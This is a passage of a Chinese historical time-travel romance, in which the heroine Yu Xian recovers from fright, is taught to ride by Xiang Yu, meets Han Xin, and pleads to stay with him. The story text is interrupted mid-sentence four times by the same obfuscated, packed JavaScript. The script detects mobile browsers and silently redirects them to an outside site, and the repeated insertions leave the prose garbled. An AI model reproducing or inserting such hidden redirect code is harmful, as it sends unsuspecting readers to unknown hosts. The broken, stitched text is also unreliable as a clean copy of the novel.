虞苋原本拿眼神偷瞄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736944|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,见状,她心情格外紧张,下意识低头避过了项羽的手。 项羽敛目,将手收回:“你还真是心口不一。” 虞苋怕他不悦,强压下反胃,小声开口:“将军,自从上次被你从水中救出之后,这还是我第二次见到这么多的死人。” 她低头:“我还需要适应。” 女郎的脸又青又白,说话时眼睛里含着泪,明明怕得要死,还要强装镇定的解释,似害怕惹人厌弃。 可她真的怕啊,就算知道项羽是反击,可看见他刀起刀落就要了人命,自会害怕自己以后惹怒他,他的剑刃会对准了自己的。 羽之神勇,千古无二。 后人对他的评价这般高,万一触怒他,被他砍头岂不是随手的事。 这谁不畏惧啊。 项羽起身:“我知道了。” 他道:“待会儿会有人进来打扫,之后我会让人送来热水和换洗衣裳,好好收拾收拾。” 虞苋浑身被溅了血,将自己洗刷干净时,已经到了寅时末,天已经蒙蒙亮,顿觉头脑昏沉,趴在榻上直接睡着了。 翌日。 午时。 雨下了一晚上,在早晨时便已经停了。 饷午的日头正盛,天气异常闷热。 院中的尸首不知何时被处理干净,连院中的血液都被冲洗得干干净净,四周甚至能闻到柚子皮的清香。 昨晚发生的斗殴,好像只是一场梦。 虞苋睡醒,走出房门,日头刺眼,她伸手挡了一下,感觉头晕眼花,直接往地上栽。 她感觉自己的脑袋痛得要炸开。 要命。 项羽今日去查探刺客之事,正好从外面进来,见到了这小女郎往下栽的全过程。 “……” 他上前将她扶起,感觉到她的脉象很虚,浑身格外的滚烫,脸上不自然的潮红。 项羽道:“还好吗?” “不好。”虞苋生理泪水落下,“头好痛。” 她不想哭,眼泪失禁了。 项羽伸手摸了摸她的脑袋,额头上更为滚烫。 是高热。 项羽将随行的医工请了过来,老者给女郎把脉之后,解释道:“将军,夫人的胆子小,是惊惧过度引起的高热,我给她开两副药,按时吃,之后好好休息便能好,就是不能再受惊吓了。” 虞苋默默将被子盖在脸上。 太丢脸了。 等众人都走了,项羽站在榻前,冷声道:“跟在我身边,就要有直面生死的勇气,若是你害怕到连见个死人都会生病,就不适合留在我身边。” 她抿嘴,没开口。 他又道:“你跟着我,不过是想活命,看在这几日相处的情分上,我让人送你去一个安全的地方,赠你钱财,可保你后半生无忧。” 项羽这样的英雄人物,欣赏的应该是勇士,自是看不上她小女儿作态的,不愿让她再跟随太正常了。 她知道对方不欠她的,对她已经仁至义尽,即便心里不是滋味,还是点了点头。 虞苋眼睛红通通的,低声道:“多谢将军。” 这是认可了他的安排。 项羽眼神中的失望一闪而过,衣袖下的双手捏紧成拳,他语气却听不出任何的情绪,似乎对于女郎的决定无所谓:“你还在病中,不要想太多,先好好养病吧。” 她乖巧点头:“好的。” 8. 第 8 章 房间里的温度骤降,对方的眼神非常的冷。 项羽似乎并不满意她的这个回答,闻言站在榻前凝视了半息。 虞苋假装没有看见,默默盖好被子闭眼假寐。 她已经喝了药,口腔里还有一股苦味,舌根上回甘,浑身轻飘飘的,灵魂仿佛都升空了。 项羽离开,将房门关紧。 房间里只剩下虞苋一人了,她翻了个身,伸手揉了揉太阳穴。 时人欣赏勇敢,推崇仁义,褒奖气节。 虞苋这种遇事退缩,临阵怯懦的行为,的确是让这里的人看不起。 不过她想要赖上项羽,本也是为了活命,他承诺给她钱财,还送她去安全的地方安家,那她当然愿意离开了。 很快身上的药效起了作用,虞苋身上被闷出了一身的汗,又昏睡了过去。 病来如山倒,她一直躺了两天,身上的高热才彻底的退下去。 项羽自那天之后便没有再出现过,虞苋也没有再多嘴询问关于他的事情。 夏日。 莲池里的荷花悄然地开了。 虞苋问过了池塘的主人,得到了应允,便脱了鞋,下池塘去摘荷花,打发漫长的白日时光。 在她拿着陶具插花时,项羽穿着一身玄衣走到了亭中。 他的身姿依旧挺拔,面容越加冷峻,唯有眼下却罕见的出现了一抹青黑。 他冷淡道:“病已经好了?” 虞苋放下手中的荷花,乖乖地走到了对方面前:“回将军,我的病已经好了。” 她越是表现得乖巧,项羽身上的气压越低。 项羽目光扫过她侍弄的陶瓶,落在未曾开花的花苞上,直白道:“你跟在我身边已有十数日,应该知道我来丹阳是在寻人。” 虞苋点头:“知道的。” 他瞥了她一眼:“那你可知道我寻的人是谁吗?” 这个…… 她摇头:“不知道。” “又撒谎。”项羽伸手捏住她的下巴,迫使她抬头,语气格外笃定,“你知道。” 虞苋睁大了眼睛,满脸震惊地看着他。 难不成项羽懂得相面,看出她刚刚在说谎了? 她作为后世之人,了解一点历史,知道接下来的项梁的动作,也就不难猜他们究竟要寻的人是谁。 可对方这些天什么事情都没有透露给她,她不想表现得过于“聪明”,只能回不知道。 项羽的神色冰冷,语气也是冷的:“你已经知道我寻的是谁,我便也不瞒你了。” 他说:“我来丹阳找的人是当年楚怀王的后代,而之前的刺客则是赵高派来刺杀他的。” “我之前不知道将军要寻的人是谁。”虞苋小声道,“现下将军在我面前说出来,倒确实是知道了。” 之前还藏着掖着,现在却连求证她是否真的猜到寻找的人是谁的这个行为都没有,就这么水灵灵地将这件事说出来了,这合理吗? 是不是有诈? 她抬头偷瞄了一眼对方。 项羽周身气势冷冽,眉眼还带着几分戾气。 虞苋的脑海中不由回想起前天晚上,他手上的利刃熟练地割破刺客的喉咙,身上被溅了满身血污,在浓稠的黑夜之中,那双妖冶的重瞳却格外摄人心魄。 在项羽的身上,她看见了暴力、杀戮、死亡,还有自卫和反抗。 之前她还敢在对方面前小小放肆一下,经过他血洗来刺杀他的刺客之后,虞苋对他是畏惧的。 他松开她:“你既已知道我要找的人是谁,目前还不能离开。” 虞苋皱眉,:“为什么?” 项羽直接道:“此事不宜泄密。” 她点头:“懂了。” 虞苋心中有点不高兴,怕被对方看见,赶紧低下了小脑袋,气呼呼的撕着大大的荷叶叶片。 她合理怀疑,是他既嫌弃她的怯懦,又还馋着她的身子,故意找了个理由不放她走。 项羽道:“暂时不能离开我,你好像很不乐意。” 虞苋:“没有的事,你看错了。” 不过—— 她清了清嗓子,有些疑惑道:“既然刺客是要来刺杀楚怀王后代的,为何又会突然拐个弯,浪费人力来刺杀将军呢?” 项羽道:“你还记得赌场的那个老头吗?” 虞苋点头。 他道:“我带人再次去过赌场,里面已经人去楼空。” 是那个老头搞的鬼? 那老头带着面具,声音却格外的熟系,会不会是同一个人呢? 她在犹豫要不要将自己的发现告诉对方。 项羽已经略过了这个话题,转而说道:“你既然病已经好了,那就跟我过来吧。” “去哪?” “跟着便是。” 见项羽已经走了,虞苋亦步亦趋地跟在后面。 他从马厩里挑了一匹温驯的马,带着她到了一个空旷的小树林。 虞苋见状,好奇的询问:“将军,我们来这里做什么?” 项羽道:“骑马。” 他目光看向她:“你之前不是说不会骑马么,趁着我此时闲暇有空,正好教你骑马。” 虞苋:“哦。” 她心念微动,仰头看着项羽,他的喉结滚动,敏锐的低头,目光落了下来。 项羽询问:“看我作甚?” 虞苋道暗戳戳道:“让我学骑马,是怕日后遇到危险,会拖累你吗?” “猜得不错。”他轻嗤一声,“你胆子那么小,将来遇见事情腿软,至少还能让马驮着你跑路。” 马低头吃草,马尾巴甩来甩去,时不时踢踢腿,看上去悠哉悠哉。 虞苋似乎听不懂对方的嘲讽,小鸡啄米似的点头:“有道理有道理。” 对方是在教她逃跑的技能呢。 她正需要。 大赞。 项羽瞥她一眼:“你学不学?” 她眉眼弯弯:“学!” 虞苋转头看着马背,见马都快有她那么高了,忍不住道:“可是将军,我该怎么上去?” 项羽穿着玄衣,金镶边腰带束腰,身高八尺往上,长手长脚,整个人身高压制,让人便感觉到压迫力十足。 他轻轻一提,就将她送上了马背,就跟提小鸡仔一样。 如今没有马鞍马镫,对于新手而言学习骑术确实比较困难,而且马的脚掌没有钉上马蹄铁,马蹄很容易磨损导致马的四条腿不在一个平行线上,让骑马的难度增加。 虞苋坐稳之后,试探的拿起马绳,忍不住看了一眼地面,很高,坠马不死也残。 她正无措。 项羽提醒道:“绳子不要勒紧,放松一些。” 虞苋松开了一些,项羽上前拍了拍马的脖子,随后松开了手,马驮着她溜达了一圈,倒是让她心下一松。 她道:“它怎么这么听你的话啊啊啊啊——” 话还没有落,马突然就窜了出去,虞苋吓得魂都飞了,俯身抱着马脖子不撒手,惨叫声惊飞了林中野鸟。 马跑进了密林,树叶的枝条刮在身上,生疼生疼的。 她好不容易稳住身形,去努力控制身下的马,终于到了河边时,让马停了下来。 虞苋强忍着害怕跳下马,准备拉着马往回走去找人,刚走几步,项羽双手抱胸,站在一旁饶有趣味的看着她。 他走上来,拿起她的手看了一眼,淡定道:“还好,只是皮外伤。” 虞苋收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736945|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回手,背到身后,想要骂人,看着眼前的大块头,她将脸撇到一旁,闷声不说话。 气死了。 项羽目光落在马蹄上,示意道:“是场意外,马蹄被利物割伤,受了惊。” 她循着对方的目光看过去,见到马的后蹄有血丝浸出。 项羽道:“骑马赶路之时,路况不明,马蹄经常会受伤,不是稀罕事。” 虞苋试探:“就没人给马穿上鞋子吗?” “有。”他颔首,“马蹄原已经相当于人脚下的鞋子,再给它穿上鞋,则会影响它的行动,不实用。” “哦~” 她挤到项羽的身前,面上带着一个讨好的笑:“若是我能给马蹄做上不会影响马行动的鞋子,还能保护马蹄,是不是证明我在将军面前,还是有点用处的?” 项羽低头看她。 虞苋的眼睛里亮晶晶的,看上去已经有了主意。 平素怂得很,主动提及…… 看看情况吧。 他道:“若你真能让马蹄减少磨损,同时不影响马的行动,我便将你身边的这匹马送你。” 虞苋卷翘的睫毛微颤,扭头看低头吃草的马。 它一身白毛,被洗刷得很干净,头上的鬃毛梳得柔顺,白马的睫毛也很长很卷,看上去漂亮极了。 在生产落后的古代,马相当于小汽车。 百公里一把草。 划算。 她越看越喜欢,忍不住点头:“说话算数?” 项羽:“说话算数。” 虞苋忍不住上前去摸摸白马的脑袋,已经开始思索这匹马腰给它取什么名字了。 不过手臂的刺痛提醒她,身上被刚刚的树枝挂上了皮外伤。 她撩起袖子,见胳臂上被树枝划拉了两下,上面有两条浅浅的血痕,伤口已经结痂,确实不是很严重,就是还有些刺痛刺痛的。 虞苋瞥了一眼项羽,小声嘟囔道:“将军训练自己手下的士兵,也是这般样子吗?” 项羽:“不是。” 他从怀中拿出药膏,给虞苋涂上,嘴上淬了毒:“我手下的兵没有你这般娇气怯弱的。” 虞苋继续嘟囔:“可是刚刚那样很危险的,要是坠马我就要重开了。” “重开?” “就是死了重新投胎。” 项羽也不懂投胎是什么意思,认为是她祖籍的语言,并没有继续深究她有时候的奇言怪语,双手抱胸道:“我一直在,你死不了。” 虞苋歪头,睁着圆眼,疑惑道:“将军刚才是追在后面吗?”难以想象那个画面。 他右手握拳,放在嘴边轻咳,道:“天色不早了,先回去吧。” 嗯哼? 虞苋点头:“好的。”咧嘴一笑。 对方的确救过她很多次,上次她都被一个疯狗少年拿刀抵着脖子威胁,项羽也能及时出现将她救下,的确很有本事,并非是一个说大话的人,因此对于项羽所说的话不疑有他,心下就稍安了。 她前晚被项羽杀人的场景吓到了,脑子里一直回放着他握刀划破他人脖子的画面,让她对眼前之人心生恐惧。 可更应该害怕的,难道不是威胁他的疯批男么,为什么自己差点就将他忘记了,反而脑海里将项羽当晚的画面记得那么深? 奇怪。 马的蹄子受了伤,两人徒步往回走。 虞苋边走边纠结,最后想到对方的救命之恩,顿住了脚步:“将军,我想跟你说一件事。” 项羽:“说。” 她仰头,小声道:“上次去市集,我和你们走散了,遇见了一个老头主动和我攀谈,你也知道的。” “嗯。” “他的声线和赌场的老头一样。” 9. 第 9 章 这属于有效线索。 项羽斜眼瞥她:“为什么一开始没说?” 女郎低头。 她想了想,解释道:“我之前并未想起来,上次被人拿刀威胁时,当时的少年明明带着面具,却还是害怕将我认出,想要杀我,缘由便是担忧我下次见到他,能从他的声线将他认出。” “是他提醒了我。” 他语气格外淡定:“我知道了,我会让人去探查的。” 如此淡定。 不对劲。 虞苋试探道:“还是说这件事将军早就已经知道了?” 项羽:“没有。” 她抿嘴。 那还表现得这么淡定。 后世有传说,楚怀王熊心已经沦落到放羊为生,而那个老头同样也在卖羊,也许这两人之间有什么联系呢。 虞苋只是跟项羽提一嘴,她身边没有能用之人,说得再多都是猜测。 她向来比较自私自利,形势对于自己不利的时候,她不可能当出头鸟,要少说少做,做的事情说的事情少了,说错话的次数就少,做的错事便也越少。 反正老实平庸点没关系,重要的是不出错,否则就会成为众矢之的。 因此即便怀疑两者有联系,虞苋也不会直白的说出来。 毕竟世人都愿意相信自己亲眼所见,她已经提供了能够提供的线索了,还是让项羽自己查去吧。 嗯…… 当然了,还有一层原因是,那晚被血淋透后,她是真的怵他了。 …… 两人回去之后,虞苋便将其他的事情先抛去脑后,在研究马蹄铁怎么弄。 马蹄是马的角质层,相当于人的指甲,因此脚掌钉上马蹄铁,并不会让马感觉到疼痛,铁片还能防止马蹄之间磨损程度不一样,影响马的行动能力。 虞苋不会骑马,修马蹄安装马蹄铁的视频,她倒是看到过不少,因此对于怎么安装马掌她是知道的。 她在院中寻到了一块废弃门板,又在柴房找了块木炭,将需要用到的工具、材料,以及安装马蹄铁的过程,都一一在板子上罗列好。 看来第一步,先得把工具弄出来。 虞苋走出院子准备寻人帮人,见到院子多出了一位生面孔,正在外面候着。 此人长得很高大,腰间佩剑,看上去模样极好。 这谁啊? 见她面露不解,项羽身边的属将桓楚走了出来,靠在门边露出了一个轻蔑的笑:“你看他做甚,就是一个送信的。” 桓楚历史亦有姓名。 会稽郡太守殷通原本是想任用项梁和桓楚为将,而当时桓楚在民间流亡,项梁跟殷通说只有项羽知道桓楚的消息,于是出门领了项羽进去将殷通斩杀,叔侄俩就在会稽郡起义了。 项羽起义之后,重新找到了桓楚,让他跟在身边为属将。 虞苋见桓楚似乎看不上此人,面上露出了些好奇,乖巧询问:“桓叔,你看不上他?”桓楚年长,项羽称呼他为桓叔,她便也跟着这样叫了。 桓楚道:“此人不事生产,经常去别人家里吃白饭,又胆小怕事,听闻有人要和他比试,他宁愿钻人□□也不敢和人比,不过是胆小如鼠之辈。” 他轻哼:“别看他长得人模狗样的,实际上就只有面上好看,里子是团败絮罢了。” 虞苋眨了眨眼睛,又偷瞄了一眼送信人,恍然大悟道:“他受过胯下之辱?” 桓楚:“错了。” 他纠正:“是他自取其辱。” 虞苋摸了摸鼻子,尴尬一笑:“那他怎么称呼的?” 桓楚撇嘴:“他叫韩信,淮阴的,闲人一个。” 见虞苋面上露出奇怪的表情,他警告虞苋道:“阿羽不喜欢怯懦的人,心里并不待见他,你少打听这人的事情,离他有多远走多远。” 她才是真的胆小怯弱呢。 桓楚见虞苋低头,随即反应过来了,清了清嗓子解释:“我就说他,没说你啊。” 虞苋:“……” 此地无银三百两,还不如不解释这一句呢。 她点头:“桓叔,知道了。” 桓楚又道:“阿羽还没有回来,我得再晾他一晾,你也甭搭理他。”说完他便准备离开。 虞苋看着桓楚的背影,心中忍不住腹诽——这算不算给项羽招仇恨啊? 她的目光有重新落到了韩信身上,忍不住摇头叹息了一口气。 这位同样是这个乱世的传奇人物啊。 韩信生为布衣,曾受□□之耻,因无所事事到处蹭饭遭人厌弃,后各地起事,他前去投奔了项梁。 不过在项梁手下,韩信是个无名小卒,后来项梁战死,便到了项羽身边。 由于他献的计策亦不被项羽采用,复而投靠刘邦,可惜刘邦亦未曾重用他。 处处不受重用,韩信奋而出走,是萧何将他追回,让刘邦拜他为将,于是才有了后来韩信以十面埋伏之势灭亡西楚。 只可惜最后刘邦吕雉要清算他,还是萧何献策将他弄死,死后被夷族,历史便有了“成也萧何败萧何”的典故。 啧啧。 他可是项羽的克星啊。 要命的那种。 韩信早已经发现虞苋在打量他,转身朝着她稽首道:“女郎为何看着我叹气?” 虞苋被问得回神,赶紧摇头否认:“没有啊。” 她道:“我想找人帮我个忙,一时间又不知道找谁比较好,故而叹气。” 韩信转头左看右看,的确没有见到闲人,便道:“若女郎不介意,在下可以搭把手。” 虞苋赶紧摆手:“不用了不用了,观君非池中之鱼,不敢劳烦你的,我回头找桓叔帮忙就好。” 桓楚已经走远了,她赶紧追了上去,竟然差点忘记了正事。 而虞苋离开没多久,韩信拦住了经过的人,询问:“刚刚那位女郎是谁?” 那人笑而不答,反而反问他:“漂亮吧?” 韩信点头:“漂亮。” 对方上下打量他,拍了拍他的肩膀:“她是将军在水中救上来的,漂亮得让从来不近女色的头儿都忍不住将她留在身边当侍妾,你就别想了。” 韩信点头:“原来如此。” 他目光看向虞苋已经消失的方向,自顾自嘀咕道:“非池中鱼,倒是句好话。” 而此时虞苋已经追上了桓楚,她亦步亦趋的跟在他身后。 桓楚:“你跟着我作甚?” 虞苋腼腆一笑:“是这样的,桓叔,我能求你帮个忙吗?” 桓楚颔首:“何事?” 她赶紧道:“项将军说,若是我能想办法保护马蹄不受伤,同时还不影响马的行动,就把马厩里的那匹白马送给我。” 桓楚抓住了重点:“那白马不就是他专门买来送你的吗?” 她愣住。 桓楚道:“原是他想要教你骑术,又有忧心你畏惧军中烈性战马,便去买了一匹长的漂亮又温驯的马回来,打算送你。” 虞苋:“真的假的?” 他皱眉:“你怀疑我糊弄你?” 虞苋摇头:“不敢不敢。”就是有点不可思议。 桓楚摸着嘴边的络腮胡,眼睛一转,上下打量虞苋,话一转:“对了,我听阿羽说,那日刺客突袭,你看见他杀了人,被吓得惊惧高热,心中便极为畏惧他,可有这么一回事儿?” 嗯?嗯! 当时血还喷溅了她满身,抬头就看见了项羽砍人,谁见了不被吓破胆啊? 更何况院子还堆了小山高的尸体…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736946|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的反应很正常。 非常正常。 虞苋刚刚见到桓楚对于此时韩信的态度,知道他其实看不上胆小之人,自是不肯在他面前认怂,寻了个借口道:“桓叔,是我身体底子差,着凉生病,并不是惊吓而高热。” 桓楚轻笑:“果然和阿羽说得一样。” “什么?” “鬼话连篇。” “……” 她转移话题:“桓叔,我们还是说回刚才的话题,能否帮我一个小忙?” 桓楚:“让我帮你什么忙?” 虞苋便把桓楚拉到了柴房,指着上面所需要的工具,道:“桓叔,我想请你帮我寻个铁匠,将上面的工具打造出来,到时候给马蹄钉马掌时,亦需要铁匠帮忙。” 他道:“小事。” 为了能尽早得到小白马,虞苋找铁匠打好了剪蹄钳,马蹄铁、钉子等等工具。 至于她为啥不直接跟项羽说马镫马鞍的事情呢…… 嗯…… 她现下能想起来的东西就是这玩意儿,为了能让自己表现得一直有用,当然不能一下子就交底。 得慢慢来。 虞苋出生于商贾之家,爸妈虽说离异了,但该教她偷奸耍滑的本事,是一件没落下。 另一边。 收市之后,项羽得了虞苋提供的线索,亲自带着手下跟踪卖羊的老翁,不久便到了一座庄子上。 他们到时,身着红衣的少年正靠在庄上的槐树下,双手抱胸,眯着眼睛遥看远处的群羊。 少年身形瘦弱,看着很是萧索。 而在他身后,持械着数人,看架势都是高手。 他道:“你来得比吾想象中的晚,看来你身边那女郎和你并非一心。” 项羽面色不变,直接开门见山:“刺客是你引过去的?” 熊心微笑:“丹阳来了两方势力,一方要杀吾,一方要吾做傀儡,吾好歹为楚怀王后裔,岂堪受辱。” 他承认得倒是很干脆。 项羽又问:“为何要吓唬虞苋?” 那日用刀抵着虞苋,威胁说要剥了她漂亮皮囊的变态,便是眼前这个看上去有些单薄的少年。 他很稀奇:“你倒是关心那女郎,她是你什么人?” 项羽:“侍妾。” 熊心可惜道:“如此美人,你竟然舍得让她只做侍妾,你不如将她送吾,吾便遂了你们的意,和你前往会稽做个傀儡大王。” 他的话刚说到一半,感觉周围已经冷了三度,将话全部说完,周围气温仿佛凝结成冰。 即便项羽未说话,杀意已经锁定在熊心身上。 他掌心出了汗,又缓和一笑:“开个玩笑,你已寻来,吾没得选。” 熊心的目光落在了项羽腰间玉佩之上。 那晚本是看热闹,却见到项羽怀中的佩戴着虎形玉佩露出一半,那是楚国当年调令军队的信物,一直为项氏保管,这才认出了眼前之人便是项氏族人。 而能轻松以一敌十的,项氏当中当属是力能扛鼎的项羽。 项氏既然有心推选他为王,保不准功成之后将他给宰了,却也不失为他的一个机会。 项羽道:“既然你已有决策,不如让你的人放下械具,坐下来详谈。” 当晚项羽回来之后,先接见了韩信,并将一封密信交由对方送去给项梁。 而接下来,项羽将要护送熊心前往薛县参加楚地会盟,秦人必会阻止此事,这一路将危险重重。 他跟韩信道:“你顺便将小虞带回去,她病刚好,不能再受惊吓。” 虞苋原本是想要寻找项羽说马蹄铁的事情,见门口的亲卫没有拦着她,正好听见了项羽的这句话。 “小虞?” 他私下都是这么称呼她的? 10. 第 10 章 虞苋见两人在谈话,默默地往后退,尴尬道:“抱歉,我不知道二位在商议事情。” 项羽丝毫没有心虚,颔首:“无碍,正要去找你。” 虞苋刚来的时候已经听到了项羽的话,忍不住开口询问道:“将军找我,是想要我跟着韩信先走吗?” 项羽道:“此行危险。” 当日虞苋提供给项羽关于卖羊老翁的信息,让他提前寻到了楚怀王之后熊心,如今即使她来历不明,却已经完全接触了是细作的嫌疑,让项羽对她彻底放下心来。 因此他打算让韩信带她先行前往驻地。 虞苋并不知道项羽有此打算是对她的信任,她偷瞄了一旁未作声的韩信一眼,还记得桓楚白日时对于韩信的态度,以为项羽对她平素的胆小存在芥蒂。 她作为富二代,跟着她父亲的情人斗智斗勇了许久,惯是会装摸做样的,眼眶很快就氤氲出眼泪,委屈说道:“我不想离开将军,我想跟着你,我保证下次遇事不会没出息了,将军你别不要我。” 声音娇滴滴的,眼神含情脉脉,将项羽看出了一身的鸡皮疙瘩。 他面色不悦。 韩信此时识趣的朝着项羽稽首,道:“将军,属下先行告退。” “去吧。” 韩信离开之后,还贴心的给两人带上了门,隔绝了外面的视线。 项羽重新将目光移向虞苋,起身朝着她走进,语气压低:“在我面前,好好说话。” 他警告道:“你现在是我的人,娇嗔的样子岂容他人看见。” 虞苋:“……” 什么你的人我的人,她是自个的,想怎么跟人说话,便怎么跟人说话! 心中气呼呼。 “记住了吗?” 可在对方霸道的眼神下,她还是被迫屈服了,老老实实地点头。 “我记住了。” 难怪会自称霸王,性子委实过于霸道。 虞苋心中叹了一口气,还是她自己不争气,只能受些委屈了。 项羽见她怂得很快,嘴唇微微勾起:“说说理由,为何不愿跟韩信先行离开?” 女郎低头。 他眼神微眯,晓得是她撒谎前兆。 她果然很快便软乎乎开口:“桓叔跟我说,韩信此人胆小如鼠,倘若遭遇危险,怕是要弃我而去。”对不起了淮阴侯,她就是随便说说应付项羽,真不是故意诽谤。 项羽道:“你这是看低他了。” 咦咦咦?怎么和想的不一样。 他道:“他身手不行,当初被乡里数个闲人围堵,若是应了对方的比试,不管是输是赢,对方都不会让他活,韩信宁受胯下之辱,也不愿答应比试,则是为了活命。” “为了活命能忍其辱,这一点我倒是自愧不如。” 虞苋老实承认:“的确是我存在偏见了。” 倒不是对韩信存在偏见,而是对项羽存在偏见。 她以为按照项羽的性格,定然辱桓楚说的那般,此时是看不起韩信的,倒是她想偏了。 不过也是。 若是真不喜韩信,后来项梁战死后,项羽便不会将他并入麾下。 项羽道:“不过若是我,定会接受比试。” 虞苋疑惑:“为何?” 他颔首:“几个乡野懒汉,并不是我的对手,我会生,他们则死。” “哦~”确实。 虞苋抿嘴小声嘟囔:“你对韩信的态度,怎么跟之前,对我不一样。”见她胆小还准备将她送走来着。 项羽瞥了一眼她,没好气道:“你是我的人,跟在我身边,岂能跟一个小卒一样,你不支棱起来,他人如何看待我?” 咳咳。 好像是这个道理。 略过这个话题。 这个借口不行,得另找个借口。 虞苋食指蜷缩,假装在眼下擦擦,委屈巴巴道:“我就是不想离开将军。” 项羽轻哼:“你不是畏惧我吗?现在又不怕了?” 虞苋有很强的感知了,察觉到对方在调侃她,心神一松,赶紧上前拉住了他的衣袖。 “将军,我知道上次我在你面前撒谎没用,你知道我怵你。” “可你并未真正伤害过我,你是一个好人,倘若当初我遇到的不是你,是另外的人,我现在定然会非常凄惨。” “我对将军不仅仅只是畏惧,还有感激和敬重,只有留在你身边才是最好的。” 她的好话张口一箩筐,甜言蜜语不要钱,仰头讨好的看着项羽,鸦黑色卷翘睫毛扑闪扑闪,如同是蝶翼在张合,看上去要多真诚有多真诚。 就是真诚得有些假。 “敬重我?”项羽轻嗤一声,“这词是对长辈的。” “那是……仰慕你?” 他伸手捏住虞苋的下巴,眉眼下敛,声音倒是带来几分懒散:“那你便说说,你仰慕我什么?” “是会杀人?” “还是我的权势?” 虞苋不太乐意被人捏下巴,就好像整个人被掌控着。 她心念一转脑海出现了坏主意,睫毛颤了一下,踮起脚尖凑近…… 原是想凑到对方耳朵的,委实是他的身量太高,虞苋踮脚费力,便伸手握住了项羽的手腕借力支撑一下身体。 然后项羽突然松手,她身体受力不稳,整个人往他怀里栽。 他面上的表情未变,低头皱眉道:“怎么站都站不稳?” 呵呵。 随即项羽语气一转:“你这般急不可耐的朝我怀中扑来,倒是让我相信你口中所说的仰慕我是真的了。” 呵呵,呵呵。 到底是谁突然卸力,导致她丢脸啊? 她可不相信一个力能扛鼎的大将军连一个小小的女郎都扶不住,要知道她身材匀称,体重还没有过百呢! 当然了。 她刚刚确实也是想做坏事,在他耳边吹耳旁风来着,可她想做的事情被人见招拆招,着实可恨至极! 虞苋揉了揉撞到对方硬邦邦胸膛的脑门,内槽的牙齿都要被咬碎了,仰头朝着项羽皮笑肉不笑:“只要将军相信,妾身是,真的,仰慕你的便好。” 那脸上是一个仰慕郎君的小女郎该有的表情吗? 她眼睛里冒火,笑得比哭得还难看,却又不得不将被惹起的怒火压制。 如同家养小手,明明气的想要挠人,却只敢抬起爪子示威,但连爪子上的指甲都不敢放出来,又憋屈又可爱。 项羽嘴角微勾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736947|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间又压下,眼神很是严肃:“你是一个女郎君,需得矜持,你现在缩在我怀中像什么样子。” 虞苋看着腰间的手。 不是。 她“呵呵”两声:“不如将军先把你的手拿开。” 项羽垂眸,看着在他手下,盈盈一握的腰肢。 将其勒紧。 在她恼羞成怒之前,将手给拿开了。 虞苋退后一步,字字隐忍至极:“将军,我是你的侍妾,在你面前矜持了,岂非要你主动,不好。” “能不能说回之前的话题啊?” “你带不带上我?” 她气得声音都劈叉了,后面两句都带着点咄咄意味,却配合她气红的眼睛,比她演出来的委屈真实多了。 项羽道:“不行。” 虞苋:“……”敢情是白费口舌了。 项羽拿了杯子给她倒了一杯水消火润喉,没给虞苋再叽叽歪歪的机会,给她说起了上次她提供线索的结果:“上次遇刺之后,我便顺着这一条线调查,倒是知道刺客的事情是第三方搞的鬼,只是一直找不到人。” 他继续道:“不过,之后顺着你提及的线索往下查,倒是豁然开朗,不到一日便寻到了熊心,给我节省了不少的时间。” 还真是? 虞苋惊讶:“没想到还真能帮到将军。” 项羽颔首道:“上次的刺客你也看见了,现在秦人想破坏叔父的计划,已经派遣出更多的刺客前来刺杀熊心,你跟在我身边将会见到更多的死人,因此才让你跟着韩信先走。” “原来如此。” 那的确危险。 项羽道:“你提供的线索立了功,说吧,想要什么奖赏?” 小女郎眼见一亮,丝毫不客气的道:“将军,那我想要那匹小白马!” “不行。”项羽断然拒绝,见她眼睛的光亮瞬间就暗淡了,解释道,“白马之前说好了是等你能够做好了能保护马蹄的物件之后的奖励,换一个。” “换一个?” 这个世道太乱了,若要换,她想要一个能自保的奖励,比如说…… 虞苋道:“我想要一把短刀。” 她说完,又补充道:“要好伪装的。” 